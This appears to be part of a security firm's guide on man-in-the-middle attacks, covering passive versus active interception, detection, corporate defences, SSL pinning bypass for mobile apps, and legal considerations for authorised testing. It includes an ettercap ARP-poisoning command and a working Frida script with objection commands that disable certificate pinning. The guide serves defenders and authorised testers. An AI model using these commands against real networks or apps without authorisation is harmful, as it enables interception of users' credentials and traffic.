Understanding the distinction between passive and active MITM attacks is crucial for security professionals:
Passive MITM Attacks:
- Observation Only: Attacker only monitors and records traffic without modification
- Harder to Detect: No alteration of packets means fewer indicators of compromise
- Limited Impact: Can capture credentials and sensitive data but cannot modify transactions
- Tools Used: Wireshark, tcpdump, passive network taps
- Example Scenario: Monitoring unencrypted HTTP traffic to harvest credentials
Active MITM Attacks:
- Traffic Modification: Attacker actively modifies, injects, or blocks traffic
- Higher Risk of Detection: Modified packets may trigger security alerts
- Greater Impact: Can redirect users, inject malware, modify transactions
- Tools Used: Ettercap, Bettercap, MITMProxy, SSLStrip
- Example Scenario: Modifying bank transfers or injecting malicious JavaScript
Implementation Differences:
bash# Passive MITM - Only monitoring
tcpdump -i eth0 -w capture.pcap host victim_ip
# Active MITM - Modifying traffic
ettercap -T -M arp:remote -F modify_filter.ef /gateway// /victim//
The choice between passive and active depends on the testing objectives and the level of intrusion authorized during the security assessment.
How can modern browsers and applications detect MITM attacks?
Modern security implementations include multiple MITM detection mechanisms:
1. Certificate Validation:
- Certificate chain verification
- Certificate Transparency (CT) logs
- OCSP (Online Certificate Status Protocol) checking
- Certificate pinning in applications
2. HSTS (HTTP Strict Transport Security):
- Prevents protocol downgrade attacks
- Cached by browsers for specified duration
- Preload lists for critical domains
3. HPKP (HTTP Public Key Pinning):
- Pins specific certificate public keys
- Being phased out in favor of CT
4. Browser Security Indicators:
- Warning messages for self-signed certificates
- Mixed content warnings
- Invalid certificate alerts
- Domain mismatch notifications
5. Application-Level Protections:
python# Example certificate pinning check
def verify_cert_fingerprint(cert_der):
fingerprint = hashlib.sha256(cert_der).digest()
return fingerprint == EXPECTED_FINGERPRINT
6. Network-Level Detection:
- Monitoring for ARP anomalies
- Detecting duplicate IP addresses
- Analyzing TTL changes in packets
- Identifying suspicious DNS responses
7. Behavioral Analysis:
- Unusual certificate changes
- Unexpected network paths
- Latency anomalies
- Protocol downgrade attempts
What are the most effective defenses against MITM attacks in corporate environments?
Implementing comprehensive MITM defenses requires a multi-layered approach:
1. Network Security Controls:
bash# Implement dynamic ARP inspection
switch(config)# ip arp inspection vlan 100
switch(config)# ip arp inspection validate src-mac dst-mac ip
# Configure DHCP snooping
switch(config)# ip dhcp snooping
switch(config)# ip dhcp snooping vlan 100
# Port security
switch(config-if)# switchport port-security maximum 1
switch(config-if)# switchport port-security violation shutdown
2. Encryption Everywhere:
- Enforce TLS 1.2+ for all communications
- Implement mutual TLS for critical services
- Use VPNs for remote access
- Encrypt data at rest and in transit
3. Certificate Management:
yaml# Certificate policy example
certificate_policy:
minimum_key_length: 2048
signature_algorithm: SHA256
validity_period: 365
san_required: true
wildcard_allowed: false
ct_logging_required: true
4. Security Awareness Training:
- Educate users about certificate warnings
- Train on identifying phishing sites
- Emphasize HTTPS importance
- Regular security awareness updates
5. Technical Controls:
- Deploy enterprise HIDS/NIDS
- Implement secure DNS (DoH/DoT)
- Use 802.1X for network authentication
- Deploy endpoint protection
6. Monitoring and Detection:
python# Example monitoring script
def detect_arp_anomalies():
baseline = get_arp_baseline()
current = get_current_arp_table()
for ip, mac in current.items():
if ip in baseline and baseline[ip] != mac:
alert(f"ARP change detected: {ip} -> {mac}")
How do SSL pinning bypass techniques work in mobile applications?
SSL pinning bypass is often necessary during authorized mobile application security testing:
1. Runtime Manipulation:
javascript// Frida script for Android SSL pinning bypass
Java.perform(function() {
var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManagerImpl.verifyChain.implementation = function() {
return arguments[0]; // Return the chain without verification
};
});
2. Binary Patching:
- Modify the APK/IPA to remove pinning checks
- Replace pinned certificates with attacker certificates
- Disable certificate validation functions
3. Hooking Frameworks:
bash# Objection for iOS/Android
objection -g com.example.app explore
> ios sslpinning disable
> android sslpinning disable
4. Network-Level Bypass:
- Use VPN to route traffic through controlled proxy
- Implement custom DNS to redirect to attacker server
- Use iptables rules to redirect traffic
5. Framework-Specific Bypasses:
python# iOS Network Extension
def bypass_urlsession_pinning():
# Hook URLSession delegate methods
# Return success for certificate validation
pass
# Android OkHttp
def bypass_okhttp_pinning():
# Hook CertificatePinner.check()
# Skip pinning verification
pass
6. Common Bypass Targets:
- Certificate validation callbacks
- Pinning check functions
- Trust store validations
- Certificate chain verifications
What are the legal implications of performing MITM attacks during security assessments?
Understanding legal boundaries is crucial for security professionals:
1. Authorization Requirements:
- Written Permission: Always obtain explicit written authorization
- Scope Definition: Clearly define allowed targets and techniques
- Time Restrictions: Respect testing windows and blackout periods
- Data Handling: Agreement on captured data handling and deletion
2. Legal Frameworks:
Computer Fraud and Abuse Act (CFAA) - USA
Computer Misuse Act - UK
Cybercrime Convention - EU
Local cybersecurity laws
3. Professional Standards:
- Follow frameworks like PTES (Penetration Testing Execution Standard)
- Adhere to certifying body ethics (EC-Council, Offensive Security)
- Maintain professional liability insurance
- Document all activities comprehensively
4. Data Protection Considerations:
yamldata_handling_policy:
captured_credentials:
storage: encrypted_only
access: authorized_personnel_only
retention: delete_after_reporting
sharing: prohibited
sensitive_data:
pii_handling: immediate_deletion
financial_data: no_capture
health_data: no_capture
passwords: hash_only
5. Liability Limitations:
- Service disruption risks
- Unintended data exposure
- Third-party service impacts
- Cascading security effects
6. Best Practices:
- Use isolated test environments when possible
- Implement safeguards against accidental exposure
- Maintain detailed activity logs
- Have incident response procedures ready
- Carry appropriate insurance coverage
7. Red Flags to Avoid:
- Never test without authorization
- Don’t exceed defined scope
- Avoid production systems during business hours
- Never share captured data
- Don’t publicly disclose findings without permission
Remember: Even with authorization, you’re responsible for exercising reasonable care to prevent harm. When in doubt, seek legal counsel before proceeding with testing activities.
Related Articles and Resources
- OWASP Man-in-the-Middle Attack
- SSL/TLS Best Practices – Mozilla
- Bettercap Official Documentation
- MITMProxy Documentation
- Ettercap Project
- SSL Labs SSL/TLS Deployment Best Practices
- NIST Guidelines on Transport Layer Security
- Certificate Transparency – Google
- HSTS Preload List
- Wireshark User’s Guide
- The Hacker’s Choice – SSL/TLS Resources
- PayloadsAllTheThings – Network Attacks
- SANS – Detecting and Preventing MITM Attacks
- Black Hat Presentations on MITM
- DEF CON Talks – Network Security
Need Professional Network Security Assessment?
Our certified security experts specialize in comprehensive network security assessments, including authorized MITM testing to identify vulnerabilities in your network infrastructure. We help organizations understand their security posture and implement effective defenses against real-world attacks. Contact our team for a consultation about your network security needs.
This technical guide was prepared by the security research team at Secure Debug, specializing in network security assessment, penetration testing, and security architecture design for enterprise environments.


